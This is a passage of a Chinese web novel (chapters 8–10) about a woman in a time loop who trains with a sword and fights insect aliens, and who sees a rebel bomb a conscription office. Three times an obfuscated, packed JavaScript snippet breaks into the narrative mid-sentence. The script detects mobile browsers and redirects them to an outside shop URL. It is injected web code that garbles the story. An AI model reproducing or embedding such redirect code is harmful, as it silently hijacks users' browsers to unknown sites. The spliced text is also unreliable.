钱是刷信用卡的,但她额度不高,只能刷出五万,抵押上身份证、学生证,加上张教练介绍这层关系在,老板答应尾款明天再结。 接着她又去了几个店铺,买了一些自己需要的东西,然后径直赶往橙心奶茶店。 其实也不是非去那里的,有耳后芯片在,虫族只要想找自己,定位到她是分分钟的事情,她在不在奶茶店影响不了什么。 但一来,她还是想尽量减小变量,二来,她看上了茶店那边的地形。 四点五十分,林叶南来到奶茶店。 此时她饥肠辘辘,索性进去点了杯料满多,这玩意高糖高热,能迅速补充能量,而且确实挺好吃的。 等了几分钟就做好了,她提着出门。 她出去后,两个店员才松了口气:“那气势,有点吓人。” “是啊,背上那么长一个匣子,不会是什么武器吧?” 林叶南穿过热闹的街道,进入奶茶店这一栋右侧的弄堂,弄堂里有许多杂物,整体光线也很阴暗,没什么人会走这里过。 林叶南左右看看,抓着下水管道就往上爬。 孤儿院长大的人,爬树、爬墙这些自然都是会的,只是她体能差,爬得不是很好,如今身体不再拉胯,自然轻轻松松就爬上去了。 两分钟后,她爬到六楼顶,翻身上了天台。 这一条是商业街,商业街两旁的楼房都是六层楼,装修得也挺好,除此之外,周围都是低矮民居。 因此,这里视野颇为开阔。 而因为天台围墙很高,能到林叶南的胸口,她站在这里,只要不使劲把头探出去,下面的人是绝对发现不了她的。 她把背后放着横刀的黑色长匣子取下,靠在一边,把背包也卸下,从中拿出刚买的望远镜。 回忆着虫族卫队出场的方向,她从望远镜中一直看出去,目前没有任何异常。 她苦中作乐地想,这也算守株待兔吧。 只不过这兔,是会把她咬死的恶兔。 她看了眼横刀和背包,不蒸馒头争口气,这一次她好歹要跟对方过过手,只要能在虫族身上留下一两条伤痕,就算她赢。 她端起料满多一口口吃起来,又拿出手机,翻着本地论坛、刷新社交平台,关注着实时新闻。 虫族突然这么大动干戈,肯定是有原因的。 8. 第 8 章 时间一分一秒过去,林叶南填饱肚子后,从背包里一样一样往出拿东西。 这都是她刚才抓紧时间买的,火碱、喷火枪、强光户外灯。 普通商店里根本没有杀伤性大的东西,紧急之下她也只能买到这些了。 火碱小心地溶于水,灌入喷壶,旋紧壶口,悬挂在腰间,另两样也一一试用过,然后她闭上眼睛在天台上感受了一下风向。 很强劲的西南风呢。 忽然,一旁正登录着某社交平台的手机屏幕上,弹出一则消息。 她目光一凝,点击去看。 【下午5点03分,青州112区服役报名处发生爆炸……周围虫族管理单位连环爆炸,疑似被藏匿易爆物而引发的殉爆……】 林叶南瞳孔收缩。 报名处爆炸!虫族单位殉爆! 这不可能是意外,虫族也不会自己把自己的地盘炸了,这绝对是水星人干的! 简直是对虫族赤裸裸的挑衅!已经很久没发生过这种事了。 也只有这种程度的挑衅,才能让虫族卫队那样怒火滔天,一上来就要杀人。 但自己为什么会被牵连? 她看向【青州112区服役报名处】几个字眼。 这里隶属青州112区,如果她要去服役,就是去这个地方报名。 同样的,王洋也是要去这里报名。 她拨打了王洋的电话,果然没有人接听。 至此,她心里已经有五分肯定。 报名处距离这里有一个半小时的车程,但对于有飞行器的虫族来说,这距离根本不算什么,那飞梭据说飞行速度轻轻松松就是音速。 查明爆炸原因,确定袭击者身份,查出其社会关系,锁定人员坐标,出动卫队抓捕,确实也就半小时的时间。 林叶南继续刷新各大平台,了解事态发展。 大批虫族卫队将事发地点包围起来…… 112区水星领导人第一时间赶到现场…… 虫族飞船抵达现场…… 截止目前已确定3名虫族、51名水星人死亡…… 112区水星方发言人深切斥责袭击行为…… 112区进入全区封控状态…… 其中,网上一篇文章引起了林叶南的关注:专家分析,此次事件疑似人类地下反叛组织行动,极大触怒了虫族,很有可能导致牵连112全区的大清洗,乃至大屠杀行动,112区丧钟已经敲响…… 林叶南的心微微沉下,后果这么严重吗? 忽然,下方街道传来惊呼,林叶南看下去,一队虫化状态的虫族卫兵横冲直撞而来。 林叶南立刻戴上一个机动车头盔,从长匣里取出横刀,牢牢握在手中。 虫族卫队即将冲进奶茶店时一顿,那领头队长猛地抬头看向楼顶,紧接着翅膀一扇,拔地而起,瞬间来到林叶南头顶。 “你就是林叶南?”说着翅膀一拍,掀起飓风,就要把林叶南头上的头盔扇掉。 林叶南就地一滚躲开,快速站起,裸露在外的皮肤无比刺痛,幸好戴了头盔,不然眼睛都要睁不开了。 在她站起的那一刻,那虫族队长跟鬼一样粘到了跟前,锋利如刀的翅尖即刻劈下,似是无所谓看不看到林叶南的脸,只求把她杀死。 这攻击实在快到不给人一点反应机会,林叶南一个双手云刀,横刀在面前绕了一圈,挡开了对方的翅膀,铿锵一声,巨大的力道让她后退好几步,双手震得发麻,再一看横刀,这据说削铁如泥的价值二十万的宝刀刀刃上赫然好一个大豁口! 这虫族翅膀到底是什么材料做的! 在对方继续进攻之前,林叶南厉喝道:“我们已经在下一个报名点埋好了炸药!” 对方动作果然一顿! 林叶南透过头盔的防风镜,看着这个虫族,继续说:“不止一个报名点,不止112区,甚至不止青州,再过五分钟就要炸了。” 这虫族怒极:“卑贱的人族!” 那双暗红的复眼猛地凝视林叶南,如有实质的杀人射线从中射出,林叶南脑子嗡地一声,视线瞬间混沌起来,有一种灵魂被强行拔离身躯的感觉。 精神威慑! 高级的虫族对低级虫族有精神威慑作用,对人类也有类似的压制作用。 不过,比起那章鱼的触角,这一眼实在是小巫见大巫,而一次次的死亡体验早就把林叶南的神经磨炼得十分粗壮。 因此她的意识也就混沌了那么一瞬,迅速恢复正常。 林叶南冷笑:“没用的,我们背后有其他星际种族扶持,我们的基因经过优化,这种低级招数对我没用!” 听她冷静嘲弄的声音,听到这话内容,要继续放杀招的虫族队长果然一顿,上下看了看林叶南,甚至抬起手臂,用仪器扫描林叶南。 仪器形成的三维图像中,林叶南整个人的能量信号颇高,已经脱离水星人应有的生命等级,于是他立刻相信了林叶南的话,惊怒道:“谁?是哪个星际种族!” 林叶南:“一只粉色的大章鱼,这是它让我带给你们的。” 她说着高高抛起一个东西。 虫族队长看了过去。 那是一个成人拳头大小的强光超亮远射户外灯,被开到了最大功率,放射出来的光芒,毫不夸张地说,可以把黑夜中的某片区域瞬间变成白昼。 虫族队长就那么看了过去。 灯筒翻转间,一束强烈的光芒就那么射入那暗红的复眼之中。 【虫族复眼具有高分辨率、高动态捕捉能力,但不喜高热刺眼光源……】 这极度刺眼的光芒,在他凝神细看之时,如一道赤焰般灼烧虫族脆弱的虹膜。 他下意识闭了下眼。 林叶南等的就是这一刻。 她一口叼住横刀,朝虫族左侧冲了过去,闪电般举起挂在腰后的喷火枪,保险早已打开,一按开关,阀门打开,一道炽热的火龙对着虫族冲去。 【虫族畏火,部分虫族甲壳易燃,燃烧易脆化……】 虫族队长反应也确实够快,迅速侧身,双翅一合,挡在身前,火龙撞在双翅之上,那鳞甲致密,合金一般坚硬的翅膀,被灼了一下,一点变化都没有。 林叶南有些遗憾,可惜这喷火枪喷出来的火焰不够远,温度也不够高,这只虫族似乎也不是易燃的那种。 虫族队长双翅一振,火焰被拍碎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412128|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星星点点地弥散在空中:“找死!” 然而敞开双翅的那一刻,迎接他的是一个喷壶,林叶南跳到了围墙上,站起来比虫族队长还高,双手举着喷壶,恰逢此时一阵大风吹来,她用力按下。 嘶—— 纳米级的水雾瞬间弥漫而出,被风裹挟着尽数扑向虫族队长,无孔不入地附着在他的鳞甲上、皮肤上、眼睛里、鼻孔里、因怒吼而张开的嘴巴里。 这是火碱溶液。 【虫族t液呈强酸性,可自行喷酸作为攻击手段,相应的,虫族极不喜碱性物……】 强碱性的水雾,在黎夏特意调整好的角度下,借助风势,像一张网裹住了虫族队长,这点程度当然不能对他造成多大的伤害,但足够让他分心。 果然,强碱溶液一沾到身上,细细密密的刺痛传来,生物本能中的警钟立刻敲响。 虫族队长本能后退。 林叶南往前抛出喷壶,右手抓住横刀刀柄,一跃而起,一个横斩将喷壶一分为二,里面的溶液撒了虫族队长一身,也撒了她一身。 露在外面的皮肤立刻泛红,然后迅速惨白,头盔上滚下道道水痕。 ——她戴头盔,防的就是这个! 她落地一个翻滚,双手握刀,追着虫族队长乓乓乓狂砍。 刀刃与双翅重重相撞,火花一路飞窜,宛如一场暴力美学。 然而,虫族队长双翅猛地一掀,锋利的边缘斩断了横刀,将林叶南整个拍飞,撞在天台围墙上,把围墙给撞出一片裂纹,而这丫自己飞了起来。 林叶南:“!” 虫族队长悬在空中,被火碱溶液淋了满身的他浑身冒出白色热气,滋滋啦啦的,还散发着难闻的气味。 他看了看自己的翅膀,上面有一道道几乎看不出印子的刀痕,反倒是碱液把漂亮的暗灰色鳞甲腐蚀出一个个黑点子。 他暗红的眸子几乎燃烧起来,愤怒低吼,下面的虫族卫兵能飞的立刻都飞了起来。 林叶南艰难坐起,想站起来确实不能,浑身剧痛,脊椎骨感觉都撞碎了,不知道是不是哪里的断骨刺破了肺部,呼吸十分困难,喉间一片血腥味。 她不甘心地看了看对方那完好无损的翅膀,再看看自己手上的断刀和哗哗流血的虎口。 用尽全力,竟连个印子都砍不出来! 虫族卫兵将她团团围住,那队长阴沉怒吼:“抓起来!” 一只虫族小兵走过来,粗鲁把林叶南头盔摘了,把她一把提了起来,她就像个软趴趴的破布娃娃,没有一丝要反抗的样子。 虫族队长死死瞪着她:“那只大章鱼,在哪里?” 林叶南看着他,突然露出一个笑容,一口牙齿血淋淋的:“辉山矿业,面试大厅,你们虫族内部有叛徒啊。” 在虫族队长怔愣间,她像站立不稳一样靠向身边这虫族小兵,右手却唰地弹出一把手术刀,巴掌长的手术刀就这么捅进了它没有鳞甲覆盖的下颚,用尽全力一划。 咦?这么顺利的吗? 下一刻,喷泉般的鲜血溅到林叶南脸上,仿佛浓酸泼下,她的脸瞬间就烧了起来:“卧槽!!!” 她赶紧就抓着对方的爪子,给自己来了一下。 9. 第 9 章 第34次回档。 林叶南心有余悸地摸着自己完好的脸。 灼热腥臭的血液泼到脸上,那血肉被烧灼、眼球被融化,整个人宛如被投入熔炉般的痛苦,实在是太可怕了。 死了这么多次,这次体验最吓人。 不过她其实已经做好自己会死很惨的准备,倒也算意料之中。 林叶南给自己倒了杯凉开水,喝了两口压压惊,然后仔仔细细把这一次的行动复盘了一遍。 和她想的一样,虫族果然不是那么好对付的,虽然她学了点刀术,但对上那个虫族队长时,根本无暇去细想什么招数,张教授教的那几个杀人的绝招也是完全没用上,只一味暴力狂砍而已,还完全砍不动。 那火焰火碱户外灯对虫族确实有点作用,但作用也不是很大,还不如最后手术刀那一下子。 她很快制定出今天的计划,1、继续去学刀术,2、找个小虫族练手——那虫族队长实在太难啃,还是先放放。 3、确认报名处爆炸是否与王洋有关,自己到底因何被牵连。 确定后,她又躺了下去:“哎,这一天天的!” 身体不累,但精神累啊,尤其这一次,从早到晚神经都绷得紧紧的,都有点想休息一天了。 ……不行,谁知道什么时候就不能回档了,必须把握每一个进步的机会! 调好七点的闹钟,她强迫自己再睡一会儿。 七点一到,闹钟一响,她立刻爬起来,用五分钟时间打理好自己,出门。 门外NPC王洋已经恭候多时,林叶南平静地扫了他一眼,什么都没有问,只熟门熟路地和他走完流程,下楼,打电话给吴晴说自己感冒了,不去面试了,然后在一家早餐店饱饱吃了一顿。 这会儿刀馆还没开门,她先去昨天买横刀的那家店。 她手里还有五万多积蓄,信用卡能贷款五万,这次她还想方设法撸了一些高息网贷,一共凑到了三十万,再次把那把最好的横刀买了下来,又精心挑选了一把巴掌长短的精悍刺刀。 没手术刀那么轻薄,但更好抓握,锋利程度也不差。 省得她再往钟震那边跑一趟了。 又买了个长长的琴盒装横刀,不然背着个刀匣到处跑也太显眼了。 最后去买了一身防化潜水干衣,好歹能起到点防酸的作用,回头练完刀洗个澡,就能穿在衣服里面,外面也看不出来。 买完东西,她打车直奔刀馆,刚好赶上开馆,她进去就点名要张教授带练一天,一天给一万。 张教授来得比之前更快,看着她练了一遍刀法,赞许道:“基础打得不错,你想学什么?”就是这一招一式里怎么有点自己的影子? 这么个财大气粗的学员,以前也没见过啊。 林叶南干脆道:“学怎么用刀和敌人对战。” 张教授深深看她一眼:“要实战?” “是。” “那我们要先学一些套路连招,不断地练习、再练习、反复练习,把那些都刻进你的肌肉记忆里,你才能在最危急紧迫的时候,也能靠本能做出最恰当的反应,甚至把刀变成自己身体的一部分。 “这个过程会很辛苦。” 林叶南握紧手里的训练刀具:“开始吧。” …… 下午两点半,林叶南离开刀馆,打车去112区服役报名处。 四点,她抵达地方,报名处建造得颇为高大阔气,几个魁梧的保安在门口站岗,不时有人面色凝重地进去出来,应都是来报名的水星人。 她把整条街和附近都转了一遍,这一带有较多虫族管理单位,只是一般人也进不去,虫族平时都以人形态示人,以林叶南的眼力,也很难肉眼分辨出路上的人哪个是虫族,哪个是水星人。 当然,如果让她靠近点去听,大约能听出点端倪,毕竟虫族有两颗心脏,那心跳声和人类肯定不一样。 她找了个能看到报名处大门但又比较隐蔽的角落,靠在墙上,一边观察附近的人员,一边从口袋里掏高能量糖果吃。 这个是人造粮,小小的一块糖果里,凝聚了极高热量和各种维生素氨基酸,几颗下去就能维持一天所需。 但味道奇差无比,好像是故意做成这个口味的,不然就没有人去买更昂贵好吃的自然粮了。 她这样鬼鬼祟祟的也不算奇怪,因为这条街边站着、蹲着不少人,个个都是一脸怆然,踌躇不前,死死盯着报名处,但就是不愿意过去。 显然这都是不得不去报名的水星人,这是在拖延时间呢,仿佛那报名处是什么鬼门关一般。 忽然,她看到了一个熟悉的人影。 深蓝色的夹克,乱糟糟的头发,低着头,缩着脖子,双臂抱在身前,在街边来回徘徊,时不时看一眼报名处,眼里有畏惧,有憎恨,有退缩,有纠结。 王洋! 林叶南往阴影里又藏了藏,把帽檐往下压。 她的目光在王洋身上来回扫视。 他穿的不是早上的衣服,身形看着有些臃肿,她的视线在他的胸口和腰间着重关注,看着好像粗了一圈,仿佛衣服下面藏了什么。 报名处是被炸的,那不会是…… 林叶南慢慢咬碎嘴里的糖,苦涩呛鼻的古怪味道一下子涌了出来,如今灵敏了很多的味蕾瞬间阵亡,让她冷不丁打了个哆嗦。 最后那五分猜测,得到验证。 炸报名处的还真是王洋! 她看了眼时间,下午4点17分。 她就这么看着王洋来来回回地徘徊,完全没有要去阻止的意思。有个男人似乎看不下去了,把他拉到边上和他说了什么,似在催促。 王洋一脸苦相,辩解着什么。 那男人警告了一句,左右看看又离开了。 林叶南记住了那男人的衣着和模样,又在四下看了看,周围竟然有好几人在暗暗关注王洋,应该就是那分析文中提到的地下反叛组织成员了。 她往深处又缩了缩,看着王洋继续纠结、犹豫、扯头发,几次向报名处走去却又半路退回来。 没有任何人怀疑王洋的举动,因为好些人和他一样,终于,有人视死如归般走进了报名处,片刻后如丧考妣地出来:“我、我报名上了,让我回去等通知,应该月底就会出发。” 一个个人陆陆续续进了报名处又出来,王洋继续扯自己的头发,看着越发窝囊。 直到五点的钟声响起,眼看着报名处要关门了,王洋松了一口气,像是要撤,但紧接着接到了一个电话,不知道那头说了什么,他的表情一点点变得坚毅凶狠起来,终于一咬牙,走进了报名处。 林叶南再次看表。 5点01分。 她开始往街头走去,慢慢远离报名处。 02分。 03分。 砰! 一声巨响,人群惊呼,她回头看去,果然报名处化身一片火海。 紧接着,那一片的建筑群接二连三爆炸,整个大地都在震动,热浪滚滚,周围的行人全部被震到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412129|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,场面一片混乱,到处都是尖叫。 紧接着,警报声尖锐地响起。 她快速退到安全距离外,融进附近来围观的人群中。 继续看表。 一分钟,两分钟。 5点05分。 飞梭从空中四面八方而来,上面跳下或完全虫化或部分虫化的虫族,有一个飞梭飞到火海上空,把一个什么东西扔了下去,瞬间将火焰熄灭。 呜呜呜—— 这是水星人的警车也陆续抵达了。 一片阴影从头顶移过来,林叶南抬头看去,那一直静置在天上的虫族飞船看似缓慢实则快速地飞来,仿佛一座大山般下降,空气都因为它的逼近而震颤,看热闹的人也不敢再看,惊恐地四散开。 林叶南也跟着退去。 该找个小虫族,来试试今天的训练成果了。 人群挤来挤去,忽然—— 咚咚—— 咚咚—— 林叶南敏锐地竖起耳朵,她听到了不寻常的心跳声。 水星人除非心率不齐,否则哪怕极度惊恐导致心率飙升,那心跳应该也是一声一声有一致节奏的。 但她在一片嘈杂中捕捉到的这抹心跳却是“咚咚、咚咚、咚咚”。 两声两声连在一起。 她在人群中快速搜索,很快将目标锁定在一个穿着长风衣,看起来颇为矜贵的年轻男子身上。 这人长得人模人样,但仔细看五官较水星人更为立体,有种异域风情感,皮肤冷白,没有一个毛孔,身材高大,仿佛行走的衣架子,稍微打扮一下都能去当明星了。 最重要的是,其他人都惊慌失措,他却毫无惧色,只眉头微微紧锁,像是在思考什么。 林叶南几乎本能判断:虫族! 她立刻改变了计划。 或许可以试试能不能暗杀一个虫族。 她装作被人群挤到,跌跌撞撞靠过去。 “咚咚、咚咚……”确实是两道几乎重叠在一起的心跳声。 她“不小心”撞到对方身上:“哎呀!” 身上的气味也与常人不同,有一种奇异的冷感和微微泛酸的特殊气味。 这气味一般人可能闻不出来,但林叶南如今的嗅觉也算是超级强化过的,很容易分辨出来。 同样的气味,她在上一个循环中,在虫族身上闻到过。 对方扶了她一把,声音温润,十分有礼貌:“小心……” 然而,噗嗤一声,一把刀直直插进他的中腹部。 他猛地睁大了眼睛,低头,对上一双冷漠而平静地眼睛。 林叶南把刺刀捅进去后,毫不迟疑地搅。 虫族在人形态下,第一颗心脏在左胸,第二颗心脏就在中腹部。 虫形态的话,又会有些不同。 她观察着这个虫族的表情,观察着第二颗心脏遭到重创后的反应,仿佛一个冷静的研究人员在收集珍贵的实验数据。 然后,她就看到,这虫族眼里分明还满是惊诧,身体因为被攻击而僵住,但水银色的鳞甲以光一般的速度,在他体表浮现,瞬间给他套上一层盔甲。 而她的刀,被卡住了。 哦豁,自动防御吗? 也就是说,偷袭一个虫族,几乎只有一次机会。 她迅速后退,反手抓下背在后背的琴盒,挥舞间,琴盒开启,一把漆黑鎏金的横刀飞了出来。 她一把抓住,唰地一下拔刀出鞘,狠狠朝这还在僵硬的虫族眼窝刺去。 10. 第 10 章 第35次回档。 林叶南在床上睁开眼睛,“哈哈哈”地笑了起来,然后恨恨捶了好几下床。 好气啊! 差一点,她差一点就杀了那个虫族! 她成功把刀刺进了那个虫族的眼窝,那家伙懵懵的,跟个傻狍子似的,白长了一副精明样,被刺穿眼球也不知道反击,要不是他脑子里面也很硬,林叶南能直接洞穿他的脑袋。 她乘胜追击,追着他砍,他狼狈躲避,连战连退。 就在林叶南快成功的时候,无数虫族从四面八方闪现过来。 她毫无悬念死成了一块块。 集卡新死法,死出新花样。 她长叹一声,呈大字状摊在床上。 看来下次杀虫族,不能在光天化日之下,要找个真正落单的,并且在隐秘的角落动手。 不过这一次的主要目的达到了。 她确定了炸报名处的确实是王洋,他和某地下反叛组织有关系,不是其成员,就是被控制了。 林叶南无心去探究这其中的事情,她只需要知道,王洋就是造成她被虫族卫队盯上的源头。 也就是说,只要拖住王洋,不让他去炸报名处,应该就能避开下午这波死劫。 那不就好办了! 但林叶南暂时并不打算那么做,因为她还得继续进步啊。 不强到能够杀死一个虫族,这日子就不用往下过了! 她躺在床上七想八想,把思路捋清后,一个鲤鱼打挺起来,奋斗奋斗!继续努力! …… 照样是和王洋走程序,给吴晴打电话请假,撸网贷买武器,去刀馆继续深造。 下午两点,林叶南结束训练,跟张教练打听:“教练,这一带娱乐场所挺多的,你知道有没有虫族在这里出没吗?” 张教练刚结束和她的对练,老胳膊老腿还有点发虚。 这姑娘实在大开大合攻势太猛了,又简直天生巨力一般,简直是拿他当虫族在砍,他不得不拿出十二分实力来应对,不然就要出洋相了。 他擦了擦汗,说:“有啊,当然有啊,虫族不就喜欢这些地方嘛,没有虫族那些店生意也不会那么好。” 林叶南立刻一副感兴趣的样子:“您跟我仔细说说呗。” 她之前就听说,在水星的虫族,有的是被发配来这里的,有的是来这里度假的,反正大多喜欢给自己找乐子。 这就导致水星各地的娱乐场所都比较多,她对这些场所的印象就是比较乱,鱼龙混杂,事故高发区。 她还真问对人了,张教练当即八卦地说起来。 有些虫族特别喜欢看水星人演舞台剧,为此建造了很多剧院,捧红了不少明星;有些虫族喜欢自己上台演、在酒吧驻唱等等,表演欲爆棚;XX鬼屋是虫族设计的,还用上了星际高科技,每个月都要吓死好些水星人;XX竞技场是虫族开的,有很多虫族那边的玩法,他们很喜欢逼迫水星人上台竞技,每天都要抬出来不少被打成重伤的水星人。 …… 半个小时后,林叶南来到一家叫做纳瑟赌厅的地方。 这家赌场档次比较低,谁都能进去,也没有个门槛,是她目前最容易进的地方。 进去一看,一个个人搁那脸红脖子粗地喊大小、压赌注,男男女女,烟味、香水味、汗臭味,确实是挺不上档次的。 林叶南在人群里穿梭,竖着耳朵去听,像条猎狗一样寻找虫族的气息。 片刻后,她的目光落在一个中等身材、外表邋遢,喝得醉醺醺的大汉身上。 张教练说,这个纳瑟赌厅里的老板就是一个虫族,最喜欢看赌徒们压上身家性命地豪赌,听他们或狂喜或绝望,各种大呼小叫掀桌子干架,要是哪天赌场里太安静太干净,他还不乐意,会自己出去抓水星人来赌。 他喜欢呆在这样乌烟瘴气的环境里,然后酩酊大醉,不修边幅,浑噩度日,日日如此。 虫族里这样的癫子很多,水星政府为了满足这些虫族的需求,给予了很多支持,比如这家赌场,每个来赌博的水星人每天都能拿基本补贴,赢的钱可以全部带走不必交税。 换句话说,这里的赌徒很大一部分其实就是演员。 林叶南摸摸下巴,她以前怎么一点都不知道这些事呢,早知道她也来当个群演了,这钱多好赚啊。 她的注意力再次放到那个酒鬼,也就是赌场老板纳瑟身上。 身材臃肿,脚步虚浮,眼神涣散,反应迟钝,整个人被酒精腌入味了。 环视四周,感觉没有第二个隐藏虫族,应该不会突然冒出来一群虫族再把她给剁了。 就很适合拿来练手。 当然也有可能,他是个隐藏的扫地僧,可以把自己一招秒了。 那……下次回档她再换个目标好了,她的小本本上已经记下很多候选目标了。 好一会儿,纳瑟站起来,摇摇晃晃地往赌场后面走去。 林叶南默默跟上去。 纳瑟从厕所出来,狭窄的走廊上站着一个人,她短发,高瘦,戴着一个有点奇怪的帽子,头顶浑浊黯淡的灯光根本照不清她的模样。 纳瑟早就发现,这个水星人盯自己好一会儿了。 他重重打了个酒嗝,有些兴奋起来,靠在墙上,双手一拍语气欣快:“啊,终于来了吗?挑事?刺杀?为了私怨还是地下反叛组织的复仇行动?我可真是太期待了!无论是哪一种,我都要提前感谢你用你这不值钱的生命,为我的生活增添一份意外的惊喜。” 林叶南挑眉,果然是个疯子。 她一把扯下头上的帽子,那是一个头套,完美覆盖在脸上脖子上,紧密贴合她的脸型,她又戴上一个护目镜,这都是为了防止酸液溅到她脸上。 她掐了下秒表,从琴盒里取出横刀,微笑道:“你也期待吗?那真是太好了,我们可以好好玩玩了。” 刷——刀身反射着灯光,在走廊里寒芒一闪,林叶南冲了出去,一刀直扎要害,纳瑟懒洋洋抬手格挡。 当!刀与手臂重重相击,纳瑟被震得后退半步,那双浑浊的眼睛露出几分惊愕。 林叶南一个下劈,逼他上挡,又一个斜撩,直取空门,纳瑟抬手拦刀,她迅速变招,刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412130|200680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把反握抹向他的手臂。 哗——衣袖瞬间破裂,一阵令人牙酸的摩擦声中,火花四溅,纳瑟竟是不得不在手臂上迅速浮现一层鳞甲,否则这手臂怕是已经保不住了。 当当当当! 眨眼间,两人交手了数个回合,纳瑟漫不经心的表情也终于完全消失,他被逼着后退,被逼着释放出满身鳞甲,又被逼着把鳞甲攒聚成牢不可破的外骨骼。 最终,被迫将手臂变成了螳螂刀。 …… 第36次回档。 林叶南揉揉额头,坚持了4分钟才死,比她想象中的好一点。 她回忆交手过程,尤其是自己的几次失误,记录下来,找张教练一一复盘,然后在刀馆理找了个长廊状的空间,和张教练重新打了一遍,细节如实还原。 下午三点,去纳瑟赌厅,找纳瑟,长廊激战。 这次坚持了6分钟。 …… 第37次回档。 回忆、复盘、对练、找纳瑟。 8分钟,卒。 …… 第38次回档。 这次她把纳瑟逼得双臂都变成了螳螂刀,自己的刀被砍断。 9分钟,卒。 …… 第43次回档。 预判到纳瑟所有反应,纳瑟不得不全身虫化,刀完全砍不动,两人几乎把走廊给拆了。 13分钟,卒。 …… 第47次回档。 林叶南横跨112区买了一把更好的刀,直接在赌厅里动手暗杀,一人一虫族差点把整个赌场拆了,林叶南卸了纳瑟一条胳膊,同一时刻自己被螳螂刀斩首,卒。 …… 第52次回档。 林叶南自制强碱溶液,纳瑟被腐蚀崩溃,她洞穿其两颗心脏,然千钧一发之际,纳瑟后腰居然还能长出两只爪子,林叶南卒。 …… 第55次,林叶南搞来超强喷火枪和燃油,来了个炭烧纳瑟,炭烧完继续灌强碱,然后砍砍砍刺刺刺,预判纳瑟所有后手……纳瑟暴怒,精神力暴动,林叶南卒。 …… 第60次,林叶南研究数次精神力暴动后,终于抗住了这种高维攻击,但纳瑟的精神力波动引来了其他虫族,林叶南卒。 …… 林叶南又又又一次从床上醒来,又又又一次不甘地捶床。 “靠靠靠,怎么能叫外援!” 她把自己扔进枕头里,怏怏的不想动弹,整个人看起来就很命苦。 该死的虫族,可真难杀啊! 不过这么多次下来,她的刀术倒是磨炼得炉火纯青了。 要不是刀还是不够好,她觉得自己可以杀得死纳瑟的。 思索片刻,她睁开眼睛,她决定了,学新技术! 刀不好是吧,她就去学枪,学完枪学鞭子,学完鞭子学拳法,反正能学的统统学一遍,她要做十八边形战士! 出门时,她直接绕过了王洋,一眼都没施舍给她,反正她根本都撑不到虫族卫队找来,这前摇也就可以暂时省省了。